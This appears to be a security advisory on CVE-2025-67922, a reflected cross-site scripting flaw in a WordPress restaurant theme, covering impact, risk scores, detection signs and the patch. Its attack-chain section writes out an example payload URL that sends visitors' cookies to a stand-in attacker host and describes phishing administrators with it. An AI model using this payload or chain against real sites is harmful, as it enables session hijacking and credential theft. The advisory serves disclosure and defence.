CVE-2025-67922: 
WordPress vulnerability analysis and mitigation

CVE-2025-67922 is a Reflected Cross-Site Scripting (XSS) vulnerability in the ThemeGoods Grand Restaurant WordPress theme. It affects all versions of the Grand Restaurant theme prior to 7.0.9 and was reported by researcher João Pedro S Alcântara (Kinorth) on October 18, 2025, with public disclosure on January 5–8, 2026. The vulnerability carries a CVSS v3.1 base score of 7.1 (High), as assigned by Patchstack (Patchstack, NVD).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation), specifically a Reflected XSS flaw. User-supplied input is not properly sanitized or encoded before being reflected back in the HTTP response, allowing an attacker to inject arbitrary JavaScript into the page rendered in a victim's browser. Exploitation requires no authentication (unauthenticated attacker) but does require user interaction — a victim must click a crafted malicious link or visit an attacker-controlled URL that triggers the reflection (Patchstack, NVD).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session token theft, credential harvesting, redirection to malicious sites, defacement of page content, or delivery of malware to site visitors. The CVSS scope is marked as "Changed," indicating the impact can extend beyond the vulnerable component to affect the victim's browser environment (Patchstack).

No public proof-of-concept exploit code has been identified at this time, and there is no evidence of active in-the-wild exploitation or threat actor attribution. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. However, Patchstack notes that vulnerabilities of this type are commonly used in mass-exploit campaigns targeting WordPress sites at scale (Patchstack).

1. Reconnaissance: Identify WordPress sites using the Grand Restaurant theme (versions < 7.0.9) via search engines, Shodan, or WordPress-specific scanners (e.g., WPScan).
2. Identify vulnerable parameter: Locate the URL parameter(s) in the Grand Restaurant theme that are reflected unsanitized in the HTTP response.
3. Craft malicious URL: Construct a URL containing a reflected XSS payload in the vulnerable parameter, e.g., https://victim-site.com/?vulnerable_param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver to victim: Send the crafted URL to a target user (e.g., a site administrator) via phishing email, social media, or other social engineering methods.
5. Payload execution: When the victim clicks the link and loads the page, the injected script executes in their browser, enabling session hijacking, credential theft, or further malicious actions (Patchstack).

• Network: HTTP requests to the WordPress site containing URL-encoded script tags or JavaScript event handlers (e.g., <script>, onerror=, javascript:) in query parameters; outbound requests from victim browsers to unknown external domains shortly after visiting the site.
• Logs: Web server access logs showing GET requests with suspicious encoded payloads (e.g., %3Cscript%3E, %22onmouseover%3D) in query strings targeting Grand Restaurant theme pages.
• Browser/Client: Unexpected redirects or pop-ups experienced by users visiting the site; browser console errors related to cross-origin script execution.

The vendor ThemeGoods has released version 7.0.9 of the Grand Restaurant theme, which patches this vulnerability. Site administrators should update the theme to version 7.0.9 or later immediately. As an interim measure, Patchstack has issued a virtual patching/mitigation rule for subscribers that blocks exploitation attempts until the theme is updated (Patchstack).